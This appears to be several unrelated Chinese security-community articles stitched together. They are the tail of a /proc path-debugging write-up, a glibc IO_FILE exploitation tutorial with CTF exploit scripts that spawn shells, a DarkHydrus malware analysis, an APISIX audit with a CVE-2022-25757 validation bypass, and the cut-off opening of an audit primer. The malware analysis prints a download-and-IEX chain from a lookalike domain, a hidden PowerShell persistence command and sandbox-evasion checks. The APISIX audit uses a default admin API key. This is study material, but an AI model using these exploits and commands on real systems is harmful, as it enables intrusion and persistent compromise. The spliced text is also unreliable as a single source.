tmp="/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/74079"
*/
memcpy(path+j, tmp+i, len-i+1);
j += (len-i);
//重新计算总长度，返回回去，新的path是"/proc/24273"，j=11，最后返回给(n)。
}
最后从(n)返回到(0)就是逐个复制并拼合路径了，最后得到的就是`/proc/24273/root/proc/self/root/var/www/html/flag.php`
## 总结
调试源代码时，最好是采用自顶向下的方法。
想知道一个值从哪来到哪去，如果是以指针传递，可以获取其地址，观察函数调用堆栈里的参数的地址值。
调试的时候多利用IDE的计算表达式的功能，也可以利用条件断点的功能来辅助调试，甚至也可以直接往控制台输出信息。
若遇到递归调用的函数，先分析这个函数做了什么，找出其边界情况，在最后一次递归时，根据堆栈观察每次递归时的参数传递和数据的变化。
作者：ROIS – littlefisher | 社区文章 |
#### 基本数据结构
* glibc通过fopen函数调用为用户返回一个FILE的描述符，该FILE实际是一个结构体。该结构被一系列流函数操作。该结构体大致分为三部分
* _flags文件流的属性标志（fopen的mode参数决定）
* 缓冲区（为了减少io的syscall掉用）
* 文件描述符（文件流的唯一性，例如stdin=0，stout = 1）
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
# endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
* 但实际上，glibc会在FILE结构外包一层IO_FILE_plus结构，就是多了一个vtable（虚拟函数表，类似C++虚拟函数表）
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
* 其中vtable保存着标准流函数底层调用的函数指针（32bit下在FILE结构偏移0x94处，64bits下在偏移0xd8处）
void * funcs[] = {
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
* IO_FILE_plus各种偏移
0x0 _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
//IO_FILE_complete
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable
#### 攻击思路
* ##### 针对vtable的利用思路
* 改写vtable的函数指针，触发任意代码执行
* 伪造vtable，即改写IO_FILE_plus的vtable指针指向我们的fake_vtable，在fake_vtable里布置我们的恶意操作函数。
* 伪造整个FILE结构。
* ##### FSOP(File-Stream-Oriented-Programming)
* 由于所有的FILE结构是通过链表链接的。我们可以控制链表结构，伪造整个文件链。
* _chain
* _IO_list_all
* 执行函数_IO_flush_all_lockp，会flush表上的所有的FILE。通过控制一些量，可以达到任意代码执行的目的。该函数会在以下情况下自行调用。
* 产生abort时
* 执行exit函数时
* main函数返回时
* ##### 高级利用方式（任意地址读、写）
* 由于gblic的更新，很多对vtable的攻击方式不再适用，换个思路。不再只看向vtable，而是转向stream_buffer。
* 通过控制_fileno，read_ptr、等等指针我们可以实现任意地址读和任意地址写操作。
* #### IO缓冲区的攻击
* ##### 利用fwrite进行任意地址读
* 对目的fp的设置，以及绕过。
* 设置_fileno为stdout，泄露信息到stdout。
* 设置_flags & ~ IO_NO_WRITE
* 设置_flags |= IO_CURENTLY_PUTTING
* 设置 write_base指向leaked地址的起始，write_ptr指向leaked地址的结束。
* 设置_IO_read_end == IO_wrie_base。
* 相关的检查
* _flags & ~ IO_NO_WRITE、__flags |= IO_currently_putting设置
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
..........................
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
......................
}
if (to_do + must_flush > 0)
{
...................................
if (do_write)
{
count = old_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
* _IO_read_end == _IO_write_base检查
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_old_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
off_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_old_offset = new_pos;
}
* 样例
#include <stdio.h>
int main()
{
char *msg = "treebacker";
FILE* fp;
char *buf = malloc(100);
read(0, buf, 100);
fp = fopen("key.txt", "rw");
fp->_flags &= ~8;
fp->_flags |= 0x800;
fp->_IO_write_base = msg;
fp->_IO_write_ptr = msg+10;
fp->_IO_read_end = fp->_IO_write_base;
fp->_fileno = 1;
fwrite(buf, 1, 100, fp);/*leak msg*/
}
结果会输出msg的内容，而不是buf的内容。且是输出到stdout。
* ##### 利用fread函数任意地址写。
* 绕过检查的设置
* _fileno = stdin（从stdin读入）
_flags &= ~ _IO_NO_READS（可写入）
* read_ptr = read_base = null
* buf_base指向写入的始地址；buf_end指向写入的末地址。
* 需要 buf_end - buf_base < fread'd size（允许写入足够的数据）
* 相关的检查代码
* read_ptr = read_base = null。
while (want > 0)
{
have = fp->_IO_read_end - fp->_IO_read_ptr;
//缓冲区的内容已经足够，直接memcpy过去。
if (want <= have)
{
memcpy (s, fp->_IO_read_ptr, want);
fp->_IO_read_ptr += want;
want = 0;
}
........................
}
/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
* 样例
#include <stdio.h>
int main()
{
FILE* fp;
char *buf = malloc(100);
char msg[100];
fp = fopen("key.txt", "r");
fp->_flags &= ~4;
fp->_IO_buf_base = msg;
fp->_IO_buf_end = msg+100;
fp->_fileno = 0;
fread(buf,1,6,fp); //read to msg
puts(msg);
}
结果，我们会发现输入的内容存于msg中。
* 当程序中不存在任何的文件操作时，要知道我们一直用的标准输入输出函数也可以利用。
* scanf/printf/gets/puts；这些函数最终会调用底层的read和write函数。
* 他们的文件描述符时stdin、stdout。
* 覆写缓冲区指针，仍可以任意地址写、读。
#### 实战
* ##### 2018 HCTF the_end
* 漏洞分析，存在一个任意地址写漏洞，可以5次，每次1byte。
* 利用思路A
* 利用IO FILE，在exit之后，会调用file_list_all里的函数setbuf。如果我们可以伪造setbuf为one_gadgets就可以利用。
* 坑点1，寻找vtables在libc.so文件的偏移（存储vtbales地址的地址）。
* 下面的都是假的
* 这个才是真的
* 坑点2，伪造vtables。需要满足我们能够写入的字节数目，在真实的vtables附近寻找。且0x68偏移的位置的值与one_gadget值相差3byte内。
* exp记录
```python
vtables_addr = libc_base + 0x3c56f8
one_gadget = libc_base + 0x45216
fake_vtables = libc_base + 0x3c5588
target_addr = fake_vtables + 0x58 #setbuf
print "one_gadget ==> " + hex(one_gadget)
print "vtables ==> " + hex(vtables_addr)
print "fake_vtables ==> " + hex(fake_vtables)
print "target_addr ==> " + hex(target_addr)
dbg()
p.recvline()
for i in range(2): #make a fake_vtables
p.send(p64(vtables_addr+i))
p.send(p64(fake_vtables)[i])
for i in range(3): #make setbuf is one_gadget
p.send(p64(target_addr+i))
p.send(p64(one_gadget)[i])
```
* 利用思路B
* 利用exit函数退出时会调用_dl_fini_函数，里面会有一个函数指针，_rtdl_global的一个偏移。调试获得之后，改写这里为one_gadget即可。
# call QWORD PTR [rip+0x216414] # 0x7ffff7ffdf48 <_rtld_global+3848>
target = libc.address + 0x5f0f48
sleep(0.1)
for i in range(5):
p.send(p64(target + i))
sleep(0.1)
p.send(one_gadget[i])
* ##### pwntable的seethefile
* 漏洞分析，name字段scanf存在溢出，可以覆盖fd， **伪造一个FILE结构** 。可以利用flush或者close达到任意代码执行的目的。
* 利用过程
* 伪造file结构
* 设置_flags & 0x2000 = 0
* 设置read_ptr为";sh"
* 伪造vtable，设置flush字段为system
* exp记录
name = 'a'*0x20
name += p32(fake_file_addr) #*fd = fake_file_addr
#padding
fake_file = "\x00" * (fake_file_addr - fd_addr -4)
#file struct
fake_file += ((p32(0xffffdfff) + ";sh").ljust(0x94, '\x00'))
#fake vtable_addr
fake_file += p32(fake_file_addr + 0x98)
#fake_vtables
fake_file += p32(system_addr)*21
exit(name + fake_file)
* [BUUCTF ciscn_2019_en_3](https://buuoj.cn/challenges)
* 这是个ubuntu18下面的堆利用。（前面记录过的Tcache机制）
* 漏洞分析，程序只提供了add和delete功能（edit和show是无效的）。其中add操作虽然没有溢出，但却是对输入无截断的。
* 漏洞在delete下，存在double free（dup）
* 利用思路
* 这题最重要在于如何泄露libc地址。由于没有可以正常输出chunk内容的方式，一般向这种直接没办法正常输出的，就是需要IO登场了。
* 输出，自然是s在stdout上做文章。
* 最终，我们只需要改写_IO_write_base，指向一个地址，该地址可以泄露出__IO_file_jumps地址。
* 利用过程（exp详解）
* 利用unsorted bin和tcache重叠（错位）的过程中，写入tcache第一个chunk的fd指向main_arena。和stdout相差就是偏移的差别，完全可以爆破。
prepare()
add(0x80, '0000')
add(0x80, '1111')
add(0x80, '2222')
add(0x80, '3333')
add(0x80, '4444')
add(0x80, '5555')
add(0x80, '6666')
add(0x80, '7777')
add(0x80, '8888') #avoid consilate with top chunk
#fill the tcache
for i in range(7):
delete(i)
gdb.attach(p, 'b printf')
dbg()
#free into unsorted bin
delete(7)
#double free 6, 5 which is near to idx7, into unsorted bin,
delete(6)
delete(5)
此时，unsorted bin和tcache已经存存在重叠。
* 再请求chunk，这一次使得我们可以写入tcache的fd指针。
add(0xa0, 'a'*0x90 + '\x60\x87') #idx8 from unsorted bin idx5\6, overwrite #idx5's fd is stdout
可以看到，tcache的fd指针已经改写了；发现我们伪造的和stdout不一样，没关系，在调试的时候，可以手动改一下。 **set {unsigned
int}addr=value**
* 分配两次两次，可以得到stdout的chunk。
* 我们先看一看stdout的结构。
注意，上面标注的1的位置就是_IO_write_base，2是__IO_file_jumps的位置。换句话说，我们把1低位覆盖为0，就可以泄露libc地址。
#get a chunk from points to stdout
add(0x80, p64(0xfbad1800) + p64(0)*3 + '\x00') #idx10 change _flags, _IO_write_base
data = p.recv(0x60)
leak = u64(data[0x58:]) #io_file jump
print "leak ==> " + hex(leak)
_flags和其他检查的绕过根据上面提到的 **利用fwrite** 任意读来构造。
已经可以拿到了libc地址。
* 其他的就是和double dup一样的操作拿到shell。这里有个坑就是，不可以继续add和tcache存有同样大小的chunk，因为我们改过fd导致后面的chunk都是不合法的，会触发异常。具体地，调试的时候注意调整。
#### 学习链接
* [IO_FILE通用利用模板](https://www.jianshu.com/p/a6354fa4dbdf)
* [AngleBoy关于IO_FILE的Slide](https://www.slideshare.net/AngelBoy1/) | 社区文章 |
本文翻译自：<https://0ffset.wordpress.com/2018/08/03/post-0x15-darkhydrus/>
* * *
研究人员发现一起使用powershell恶意软件攻击中东地区的攻击活动，Unit 42的研究人员将攻击活动命名为DarkHydrus。本文对其进行分析：
MD5:
.iqy: 377cfd5b9aad2473d1659a5dbad01d90
Downloader: bd764192e951b5afd56870d2084bccfd
Final Stage: 953a753dd4944c9a2b9876b090bf7c00
DarkHydrus使用含有密码保护的.RAR文件的鱼叉式钓鱼邮件来感染目标。.RAR文件含有一个含有URL的.IQY文件，IQY文件是Excel
Internet Query
file。默认情况下，当Excel打开并执行IQY文件后，Excel会从IQY中的URL处提取内容，直到出现弹窗告警为止。下面先看一下IQY文件：
当IQY文件执行时，Excel会从url的web服务器上获取一个`releasenotes.txt`文件。下面看一下IQY文件执行时的动态分析：
在文件执行时，Excel会弹出运行iqy文件可能会存在的安全威胁告警消息，点击Enable（开启）后才可以继续运行。
然后会弹出一个执行cmd.exe的安全警告。点击yes后，会创建cmd.exe，然后运行Powershell.exe进程。然后看一下releasenotes.txt的内容：
命令保存在A0中，由Excel执行。命令执行后会从micrrosoft/winupdate.ps1下载一个字符串，并由IEX执行。所以Powershell命令应该是stage
2的真实payload。
winupdate.ps1中的数据是经过压缩和base 64编码的，所用的方法与Emotet downloader一样。
因为用的是同样的powershell混淆方法，因此可以用下图中的python脚本进行解编码和解压缩payload。
从文档中我们可以看到VBox、VirtualBox、Qemu这样的关键字，这是恶意软件防止被分析的一种方法。DNS通信基于下面的queryTypes变量：
`"A", "AAAA", "AC", "CNAME", "MX", "TXT", "SRV", "SOA";`
在分析C2协议前，研究人员找出了恶意软件使用的反分析方法，保存在Sandbox()函数中：
# 反分析方法
恶意软件嵌入的反分析方法包括：
样本使用WMI来找出SMBIOSBIOSVersion，如果与VBOX、bochs、qemu、VirtualBox、VM任何一个关键字匹配，恶意软件就会打印Virtual
Machine Founded，然后结束运行。如果与上面的关键字不匹配，就检查Manufacturer与XEN是否匹配。如果匹配，打印Virtual
Machine
Founded，然后结束运行。然后查询总的物理内存，如果小于硬编码的内存大小限制（2900000000），就退出运行。如果所有检查都通过，并且匹配，恶意软件会继续检查处理器内核数，确保数量大于1。因为在虚拟机内分析时，一般分配的处理器数就是1，而且沙箱一般也只用一个处理器。如果没有其他关于虚拟机的暗示，恶意软件会运行Wireshark和Sysinternals来检查运行的进程。如果匹配，就退出运行。
所以，怎么绕过这些检查呢？其实非常容易。上图是用Powershell提出的Win32_Bios信息，里面有两个关键的信息，SMBIOSBIOSVersion和Version。因为恶意软件会检查SMBIOSBIOSVersion信息，所以就要改变它。用mofcomp.exe对Managed
Object Format
(MOF)文件进行分析，就可以改变的Win32_Bios值，所以当恶意软件去提取SMBIOSBIOSVersion信息时，就不会匹配为虚拟机了。
将上图中的信息复制并保存为.mof文件，保存到桌面。为了改变这些信息，需要admin管理员权限，以管理员权限运行powershell。运行mofcomp.exe，就可以看到和上图一样的输出结果了。
还添加了其他的信息，manufacturer被修改为Sony，SMBIOSBIOSVersion被修改为Legit_PC。MOF文件中Version的没有变化，这看起来像个GUID，而不是VBOX。
当在Sandbox函数中运行同样的Powershell命令时，就可以看到不匹配任何虚拟机信息。
$result = Get-WmiObject -Query "Select TotalPhysicalMemory from Win32_ComputerSystem" | Out-String
$result = [regex]::Match($result,"TotalPhysicalMemory : (\d+)")
$memory = $result.Groups[1].Value
if ([int64]$memory -lt [int64]$memorySizeLimit) {
exit
}
为了绕过其他的分分析方法，还要分配更多的RAM给虚拟机，确保大小超过2.9GB。处理器内核至少要2个，如果是1个的话，恶意软件就会退出。最后，确保恶意软件执行时不必要运行Wireshark或Sysinternals软件，否则，恶意软件也会退出。
# 通信方法
看起来，query()函数好像是负责与C2服务器通过新。另外，攻击者好像是使用DNS来进行通信，因为nslookup.exe也在url列表中。为了确认query()函数需要的参数的意义，研究人员分析了函数test（）中的query()调用过程：
foreach ($t in $Global:queryTypes) {
if ($Global:id.Length -ge 1) {
$response = query -query $Global:id -type $t -test $true -change_mode $false
}
else {
$response = query -query $PID -type $t -test $true -change_mode $false
}
代码在`for`循环中，一共运行8次，这是根据`queryTypes`变量中保存的查询类型数决定的。`$t`表示当前查询的类型。If语句用来检查变量id的长度是否大于等于1，如果大于等于1，就将`id`作为函数的第一个参数传递给函数。否则，程序会传递当前pid作为第一个参数。第二个参数`$t`表示当前查询的类型。如果函数在第一个循环中就被调用，`$t`就等于A，如果是第二个循环，`$t`就等于AAAA，……以此类推。第三个参数query()表示执行函数来测试连接。最后，change_mode表示是否改变DNS查询通信方法，使用的roundRobin函数。
变量
`$Parameters`是根据通信方法、域名、使用的服务器、ID、PID来填充的。然后使用`iex`来调用`nslookup.exe`，传递变量`$parameters`作为参数。然后程序会检查命令运行的结果以检查连接是否成功。在输出的结果中会检查canonical
name、mx、nameserver、mailserver、address。如果匹配，变量`$check`会被设置为true，否则设置为false或函数返回cancel值。如果一切正常，函数会返回`nslookup`的输出，如果失败，返回false。
如果连接成功，返回的值也不等于false，id的长度小于1，恶意软件就将查询类型保存在`$t`中作为默认通信查询方法。然后，恶意软件会尝试生成id，保存在变量id中。如果第一个查询类型失败了，可以软件会循环查询后面的方法。如果id长度仍然小于1，程序会休眠变量`$waiting`传递的时间，然后重新调用test()，第二次休眠的时间为`$waiting`乘以2。最开始的时间，test函数会检查`$waiting`的值，如果大于7200，程序会因为无法连接C2服务器而退出运行。也就是说test()函数在退出前会运行6个循环。
知道了test函数决定的是查询的类型后，下面看一下roundRobin函数：
roundRobin函数好像是恶意软件RogueRobin命名的来源。在query（）函数调用中，RoundRobin会被调用，域名列表是第一个参数，当前域名在程序执行时位于位置0。使用这些参数，当`$current`在`$list`中时，RoundRobin可以得到`$index`。当`$index`大于等于列表的大小时，`$index`会被设为0。最后，RoundRobin会返回`$list[$index]`，变量保存在`Global:domain`中。函数会在硬编码的域名中重复，但如果变量`$change_mode`是true，就在DNS查询模式中重复：
if ($change_mode) {
$Global:mode = roundRobin -list $Global:queryTypes -current $Global:mode
}
# 驻留机制
下面分析恶意软件的驻留机制：
首先，程序会检查全局变量hasstartup是否等于1，如果等于1，开始startup方法。否则程序就按正常程序执行。写入变量$command中的数据就是原始payload的副本，唯一的区别就是删除的驻留机制，删除的目的是为了预防同时有多个恶意软件实例运行。一旦数据写入`$command`，就会创建一个文件
`%APPDATA%\OneDrive.bat`。写入的值为：
powershell.exe -WindowStyle Hidden -exec bypass -File "%APPDATA%\OneDrive.ps1"
这一行代码写入.BAT文件后，恶意软件会把数据写入`$command`中，并传递给`%APPDATA%\OneDrive.ps1`。最后，会在开始菜单文件夹中创建一个OneDrive.lnk文件，该快捷方式文件含有一个到`%APPDATA%\OneDrive.bat`的快捷方式。然后保存快捷方式，程序会检查运行的Windows版本来继续执行。者看起来是指向Windows
7目标主机的，这也是恶意软件检查的目的。
然后研究人员对myInfo()函数进行了分析，myInfo()函数负责收集和格式化这些信息，并发送给C2服务器：
* Local IP Address本地IP地址；
* Current Domain当前域名；
* Username用户名；
* Computer Name计算机名；
* User Privileges用户权限。
然后数据与hasGarbage、hasstartup、hybdrid、sleep、jitter这些全局变量转化为长字符串。Jitter负责sleep机制，值是20。HasStartup含有与驻留相关的信息，hasGarbage负责决定是否在通信中加入垃圾数据。最后，hybdrid表示是否用RoundRobin函数来改变DNS查询方法。然后会返回形成的长字符串，调用myInfo会使用数据：
test
$ut8 = [System.Text.Encoding]::UTF8.GetBytes((myInfo))
$b64 = [System.Convert]::ToBase64String($ut8)
spliting -data $b64 -b64 $false -jobID '1' | Out-Null
在test函数被调用后，恶意软件会执行myInfo函数，然后将返回的数据进行base64编码，然后传递给spliting函数。然后用`spliting`函数对数据进行格式化，并用`query
-query
$queryData`发送，`$queryData`含有格式化的数据和其他相关信息。在分析了其他对spliting的调用后，研究人员发现这是负责调用query和发送收集的信息和命令输出的函数。函数`gettingJobs()`会查询C2服务器请求命令。
下面是RogueRobin中的命令变量列表：
* $fileDownload
* $importModule
* $fileUpload
* $screenshot
* $command
* slp:\d+
* testmode
* showconfig
* slpx:\d+
攻击者可以上传和下载文件，从system、screenshort、import模块，显示恶意软件的当前配置。`slp:\d+`负责设置与C2服务器通信的sleep
timer时间间隔，`slpx:\d+`负责设置发送DNS请求的sleep
timer时间间隔，testmode执行test函数，选择与第一个web服务器进行通信，command允许攻击者用`iex`执行系统上的命令，并发送执行的结果给攻击者。
从执行的命令来看，程序还可以截图：
if ($command -match '^\$screenshot'){
iex $command
continue;
脚本会执行`$screenshot`中的命令，攻击者必须用importModule命令或fileUpload命令来完成截图机制。
# 总结
下面是对恶意软件功能的总结：
* Stage 1:
* IQY文件从hxxp://micrrosoft.net/releasenotes.txt 下载stage 2的powershell命令
* Stage 2
* 从<http://micrrosoft.net/winupdate.ps1> 下载最后的 powershell脚本，并执行
* Stage 3
* 压缩最后的payload并用base64编码，执行后，数据会被解压缩和解编码，然后用IEX执行
* 调用沙箱
* 查询manufacturer, SMBIOSBIOSVersion, TotalPhysicalMemory, Processor Cores，并检查是否运行Wireshark、SysInternals进程
* 如果 `$Global:hasstartup == 1`:
* 在变量`$command`中保存压缩和base64编码的powershell脚本
* 创建`%APPDATA%\OneDrive.bat`.bat文件，并写入值 `‘powershell.exe -WindowStyle Hidden -exec bypass -File “%APPDATA%\OneDrive.ps1”‘`
* 在`%APPDATA%\OneDrive.ps1`创建.PS1文件，并将`$command`变量的内容写入文件
* 在startup文件夹中创建名为OneDrive.lnk的lnk文件，并指向`%APPDATA%\OneDrive.bat`
* 检查操作系统是不是Windows 7
* 执行函数`test()`
* 在DNS查询列表中循环，查看哪些从C2服务器中接受准确的响应
* 查询被用作后面的通信，除非攻击者用testmode命令；
* `test()`用函数`query()`与C2服务器进行通信– query()使用nslookup.exe来通过DNS发送信息
* 执行函数`myInfo()`
* 用`spliting()`函数收集系统信息并发送回C2服务器，函数会用 query()来发送nslookup.exe返回的数据，发送前会将数据编码和格式化
* 收集系统信息后并发送后，恶意软件会监听来自C2服务器的命令：
* `$fileDownload`
* `$importModule`
* `$fileUpload`
* `$screenshot`
* `$command`
* `slp:\d+`
* `testmode`
* `showconfig`
* `slpx:\d+`
* 这些命令允许攻击者在用户机器上远程执行任意代码
* 如果恶意软件不使用驻留机制，重启机器后恶意软件就不会再运行了，否则删除startup和`%APPDATA%`文件夹中的内容防止恶意软件重启后执行
# IOC
* .IQY: 377cfd5b9aad2473d1659a5dbad01d90
* Stage 2: bd764192e951b5afd56870d2084bccfd
* Stage 3 (Obfuscated): 953a753dd4944c9a2b9876b090bf7c00
* Persistent Payload (Obfuscated): e84022a40796374cdf1d4487dda43b7d
* URLs used for downloading Stage 2 and 3:
* Stage 2: hxxp://micrrosoft.net/releasenotes.txt
* Stage 3: hxxp://micrrosoft.net/winupdate.ps1
* C2 servers:
* anyconnect[.]stream
* bigip[.]stream
* fortiweb[.]download
* kaspersky[.]science
* microtik[.]stream
* owa365[.]bid
* symanteclive[.]download
* windowsdefender[.]win | 社区文章 |
作者：leveryd
# 背景
有大佬已经对 [apisix攻击面](https://ricterz.me/posts/2021-07-05-apache-apisix-attack-surface-research.txt) 做过总结。
本文记录一下自己之前的评估过程。
# 分析过程
## 评估哪些模块？
首先我需要知道要评估啥，就像搞渗透时，我得先知道攻击面在哪里。
根据文档，可以知道apisix项目包括很多系统，包括：
* [网关](https://github.com/apache/apisix)
* [dashboard](https://github.com/apache/apisix-dashboard)
* [ingress控制器](https://github.com/apache/apisix-ingress-controller)
* 各种sdk
sdk即使有漏洞，攻击场景也感觉有限，所以没有评估。
"ingress控制器"需要结合k8s中的网络来做评估，因为时间有限，所以只是粗略看了一下。
我主要看了网关和dashboard两个系统。
从文档上很容易看出来，网关有三个重要的模块：
* 插件
* admin api
* control api
对于api来说，首先要检查的是"身份认证"和"鉴权"这两个安全措施。
apisix历史漏洞绝大部分都出现在插件中，所以插件属于"漏洞重灾区"。
## 评估api安全性：身份认证和鉴权
admin api实现如下：
* admin api 使用token做认证，token是硬编码的。这个问题已经被提交过漏洞，官方应该不打算修复。
* admin api 鉴权上，设计了viewer和非viewer两种角色。viewer角色只允许get方法。
> 靶场见 [Apache APISIX
> 默认密钥漏洞（CVE-2020-13945）](https://github.com/vulhub/vulhub/blob/master/apisix/CVE-2020-13945/README.zh-> cn.md)
control api是没有身份认证的，但是有两个点限制了攻击：
* 默认它只在本地监听端口
* 插件无关的control api只有"读信息"的功能，没有发现啥风险点
插件创建的control api是一个潜在的攻击面，不过我没找到啥漏洞。
## 评估插件安全性
因为插件默认都是不开启的，所以虽然它是重灾区，但是我并没有投入过多精力去审计。
不过在这里确实发现了一个安全问题，报告给官方后，分配了[CVE-2022-25757](https://www.openwall.com/lists/oss-security/2022/03/28/2)。
下面来说一下这个安全问题。
# CVE-2022-25757
## 这个安全问题是什么？
request-validation插件可以检查HTTP请求头和BODY内容，当不符合用户配置的规则时，请求就不会转发到上游。
比如用户按照如下规则配置时，body_schema限制请求中必须要有string_payload参数，并且是字符串类型，长度在1到32字节之间。
curl http://127.0.0.1:9080/apisix/admin/routes/10 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"uri": "/10",
"plugins": {
"request-validation": {
"body_schema": {
"type": "object",
"required": ["string_payload"],
"properties": {
"string_payload": {
"type": "string",
"minLength": 1,
"maxLength": 32
}
}
}
}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"192.168.2.189:8888": 1
}
}
}'
但是恶意用户发送如下请求时，有可能绕过限制
POST http://127.0.0.1:9080/10
...
{"string_payload":"","string_payload":"1111"}
## 为什么会绕过限制？
request-validation.lua中使用cjson.safe库解析字符串为json对象，对于带有"重复键值"的json，它会取最后面的值。比如`{"string_payload":"","string_payload":"1111"}`，request-validation插件会认为string_payload="1111"。
local _M = {
version = 0.1,
decode = require("cjson.safe").decode,
}
但是有很多流行的库，对于带有"重复键值"的json，它会取最前面的值，因此`{"string_payload":"","string_payload":"1111"}`会被认为string_payload=""。
因此request-validation插件和上游服务在解析json时可能存在差异性，所以会导致限制被绕过
## 哪些库和request-validation插件在解析"重复键值json"时存在差异？
根据 <https://bishopfox.com/blog/json-interoperability-vulnerabilities>
文章，可以知道最起码以下库和request-validation插件在解析"重复键值json"时存在差异。
选取其中的gojay库做了验证，程序打印gojay而不是gojay2
package main
import "github.com/francoispqt/gojay"
type user struct {
id int
name string
email string
}
// implement gojay.UnmarshalerJSONObject
func (u *user) UnmarshalJSONObject(dec *gojay.Decoder, key string) error {
switch key {
case "id":
return dec.Int(&u.id)
case "name":
return dec.String(&u.name)
case "email":
return dec.String(&u.email)
}
return nil
}
func (u *user) NKeys() int {
return 3
}
func main() {
u := &user{}
d := []byte(`{"id":1,"name":"gojay","email":"[email protected]"},"name":"gojay2"`)
err := gojay.UnmarshalJSONObject(d, u)
if err != nil {
//log.Fatal(err)
}
println(u.name); // 取最前面的key的值，也就是gojay，而不是gojay2
}
# 总结
评估思路比较简单：
* 识别攻击面
* api关注身份认证和鉴权
* 插件关注业务逻辑
openresty配置中的api也是攻击面，下一篇再写。
> 说一个题外话：apisix的插件机制提供了很好的扩展能力，再加上openresty的高性能，或许拿来做waf架构很合适。 | 社区文章 |
# 0\. 序
代码审计是找到应用缺陷的过程。自动化审计通常有白盒、黑盒、灰盒等多种方式。白盒指通过对源代码的分析找到应用缺陷；黑盒通常不涉及到源代码，多使用模糊测试等方式来找到漏洞；而灰盒则是黑白结合的方式，利用黑盒特性来减少白盒的计算复杂度，使用白盒的信息来衡量漏洞的有效性。
# 1\. 基础概念
## 1.1 输入 (Source)
